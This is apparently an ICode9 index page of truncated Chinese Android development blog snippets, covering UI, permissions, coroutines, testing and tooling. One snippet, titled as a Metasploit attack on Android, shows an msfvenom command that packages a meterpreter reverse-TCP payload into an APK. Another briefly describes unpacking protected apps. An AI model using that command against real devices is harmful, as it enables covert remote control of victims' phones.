ICode9

精准搜索请尝试: 精确搜索
  • android edittext的坑2022-09-01 17:01:01

    <EditText android:layout_marginLeft="5dp" android:id="@+id/mb3_edittext1" android:minWidth="62.39dp" android:layout_width="wrap_content" android

  • Android请求读取、写入权限2022-09-01 10:00:36

    //如果仅读取自己app内目录,无需调用下面的方法动态申请权限public void requestPermission() { String[] permissions = new String[]{ Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE

  • Alphabitz — 项目 A2022-09-01 09:01:18

    Alphabitz — 项目 A Alphabitz 系列的第一个条目将是一个简单的算术应用程序,它通过非常简单的 UI 执行各种单位转换。这就像计算器应用程序的想法,但有更多在任何项目中有用的真实世界场景。与本系列中的每个应用程序一样,本教程的目标是跨多个平台创建相同的应用程序,以用作您自己

  • 安卓手机数据如何传输到Mac电脑2022-08-31 17:31:55

    MacDroid是Mac电脑上的一款安卓手机数据传输助手。MacDroid中文特别版打破Android和Mac系统之间的传输障碍,让你可以在Mac和Android设备之间轻松传输文件。 软件下载地址 MacDroid是一款打破Android和Mac之间的传输障碍,在Mac和Android设备之间传输文件。您只需要将安卓手机使用 USB

  • 移动自动化测试(二)2022-08-31 17:00:09

    功能测试点 用户使用习惯 权限问题 硬件问题 比如双卡双待、摄像头、GPU等。 操作习惯 用户常用的有菜单键、Home键、返回键、Home键长按(显示当前进程列表)、调整音量、待机等。相应的作为测试工程师我们需要考虑的项就变成了: • 应用中的Back键的事件是否重写了?在各个功能界面中

  • msf攻击android2022-08-31 11:32:47

    msf攻击android[1] 1.msf生成android apk文件 msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk -p android/meterpreter/reverse_top : 表示从android设备返回一个反向连接的meterpreter通道; R:直接输出(虽然android程序用java编写,但是不

  • android 找到某个月第一个星期日2022-08-30 20:30:42

    安卓 获取某一个月的第一周的第一天(周日)的日期 /** * 获取每个月第一个星期日的日期 * @param year 年份 * @param month 月份 * @return Date 日期 */ public static Date getFirstSundayOfMonth(int year, int month) { Calendar cal = Ca

  • 移动测试2022-08-30 19:01:37

    移动测试 操作系统      需要考虑APP在主流平台上的页面展示和样式的加载,目前考虑的主流平台主要是Android和IOS的平台   分辨率         不管是什么平台,都会存在不同的分辨率的展示,比如就拿苹果手机来说,它存在iphone7至到iphone14,当然这仅仅是IOS的平台,还需要考虑A

  • 协程再Android中的使用2022-08-29 22:01:26

    目录 协程的相关概念 协程的上下文 Job Dispatchers CoroutineName 协程的作用域 协程的管理 协程的启动 父子协程的概念 Android特有的作用域的使用和区别 异常管理 协程的常见使用和封装 协程的相关概念 协程是并发式的设计模式,简化异步执行。 suspend 修饰符协程的关

  • MAUI Android 自定义弹窗2022-08-29 14:05:04

    MAUI Android 自定义弹窗   MAUI在Android平台自定义弹窗教程。            一、定义一个DialogCustomer.cs 1 public partial class DialogCustomer 2 { 3 public partial Task<bool> CustomerAlertAsync(string title, string subTitle, string confirm

  • 实时语音驱动实现Android端Avatar虚拟人表情表达2022-08-29 09:30:31

    语音驱动虚拟人功能简介 ZEGO Avatar SDK 提供了语音驱动功能,通过声音的声波信息,实时驱动当前虚拟人物的嘴形变化,使得虚拟形象能够和真人一样进行自然的情绪表达。 可广泛应用于社交互动、语聊直播等场景中。 虚拟人语音驱动的前提条件 在实现虚拟人“语音驱动”功能之前,请确保:

  • Android 自动取色并设置沉浸式状态栏2022-08-28 15:33:58

    Android 自动取色并设置沉浸式状态栏 - Stars-One的杂货小窝 最近在进行产品的优化,也是研究了下沉浸式状态栏的实现方法及自动取色,记录一下笔记 设置沉浸式状态栏 1.添加依赖 这里,是使用了一个Android的工具开源库来实现了功能,首先需要依赖 // Android的工具类 https://gi

  • android相关问题记录2022-08-28 15:04:18

    透明度百分比对应 RGB 值 100% — FF 95% — F2 90% — E6 85% — D9 80% — CC 75% — BF 70% — B3 65% — A6 60% — 99 55% — 8C 50% — 80 45% — 73 40% — 66 35% — 59 30% — 4D 25% — 40 20% — 33 15% — 26 10% — 1A 5% — 0D 0% — 00   Frag

  • 解决微信浏览器video视频自动播放的问题2022-08-27 15:00:09

    <video controls="controls" src="" id="video" x5-video-player-type="h5" preload="metadata" playsinline="true" webkit-playsinline="true" x-webkit-airplay="true" x5-video

  • android 动态添加 fragment2022-08-27 14:34:01

    按钮点击触发: public void execute(View view) throws Exception { FragmentManager fm = getFragmentManager(); FragmentTransaction ft = fm.beginTransaction();    ft.add(R.id.fragmentContainer, new segment(), "HELLO");//R.id.fragmentCont

  • 02.Android项目介绍2022-08-25 23:01:11

    一、Android工程的目录结构 在Android Studio中,一个Android项目的文件结构有许多种表现形式,称之为视图。其中,Android视图是Android Studio默认的视图,在新建一个项目之后,Android Studio就会将项目的文件结构以Android视图表现出来,Android视图显示的比较简洁,适合进行快速开发,但是对

  • 【Android端】软件脱壳简单通用思路2022-08-25 07:31:43

    Android逆向之脱壳 脱壳一般指去除加固包。 已知脱壳有三种手段: Xposed:例反射大师 VM:例blackdex Frida 每个手段都有不同的用法。 一般步骤 去除签名验证(大部分加壳都有验证,推荐用np的modex3.0,推荐选精简包) 脱壳 反射大师:需要xp框架。点击反射大师,选择应用,打开应用(注意要有悬

  • Monkey测试详解2022-08-25 03:00:17

    一、测试工具Monkey是什么? Monkey是AndroidSDK提供的一个命令行工具,可以简单,方便地运行在任何版本的Android模拟器或实体设备上。 Monkey就是猴子,Monkey测试,是指像猴子一样,猴子什么都不懂,不知道程序的任何用户交互方面的知识,就对界面进行无目的、乱点乱按的操作。 通过Monkey程序

  • Android端实现多人视频语音聊天|音视频开发2022-08-24 18:32:39

    1 多人视频通话功能 本文展示了如何使用 即构实时音视频SDK ZEGO Express SDK 构造多人视频通话场景,即实现多对多实时音视频互动。用户可在房间内与其余用户进行实时视频通话,互相推拉流。该场景可用于多人实时视频聊天、视频会议等。 2 多人语音通话的前提条件 在应用多人视频语

  • 模仿安卓系统原生的亮度调节框 --->Android弹出框2022-08-23 11:01:39

    源码 public class HintActivity extends AppCompatActivity { public static final String TAG = "HintActivity"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentV

  • 【推送服务】【FAQ】Push Ki常见咨询合集7--其它问题2022-08-23 09:30:08

    ​1、推送服务的错误码有哪些? 推送服务有客户端错误码和服务端错误码两部分,还记录了开发者们在集成推送服务中遇到的常见错误码,如果这些错误码都不能解决您的问题,请联系技术支持描述问题,相关技术支持人员会及时处理您的问题。   2、Token是否有有效期? Token没有有效期,但在某些场

  • Android开发 framework架包2022-08-22 18:02:55

    前言   此博客讲解如何在Android studio中架入framework包。framework架包的最大目的肯定是想调用系统代码。但是请注意framework架的jar包是不参与apk编译的,只做Android studio代码引用,让在Android studio中写代码可以实现framework包里的代码联想,方便快速开发。 所以,不能误解

  • Android开发2022-08-22 17:03:32

    1.知识点解析 1.1 dimen 1.尺寸资源; 2.在工程的res\layout\目录下创建一个test_dimen.xml布局文件。 3.在该布局文件中添加一个TextView和一个Button。 4.TextView的宽和高引用尺寸资源来设置,android:width="@dimen/text_width" 5.dimen定义: <resources> <dimen name="

  • Unity 2017导入华为联机对战SDK打包报错“Found plugins with same names and architectures”2022-08-22 14:05:14

    背景 公司业务需求把原始的单机游戏升级成联机对战型游戏,近期刚好看到华为平台联机对战SDK的文档发布。 C#语言接入指导文档 问题复现步骤 SDK下载导入由于原始游戏在Unity 2017版本开发,一直都没有更新。所以本次SDK测试demo也采用的是老版本Unity。按照文档集成SDK步骤,下载联机对

  • Android文字基线Baseline算法的使用讲解2022-08-22 12:34:43

    引言 Baseline是文字绘制时所参照的基准线,只有先确定了Baseline的位置,我们才能准确的将文字绘制在我们想要的位置上。Baseline的概念在我们使用TextView等系统控件直接设置文字内容时是用不到的,但是如果我们想要在Canvas画布上面绘制文字时,Baseline的概念就必不可少了。 我们先了

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有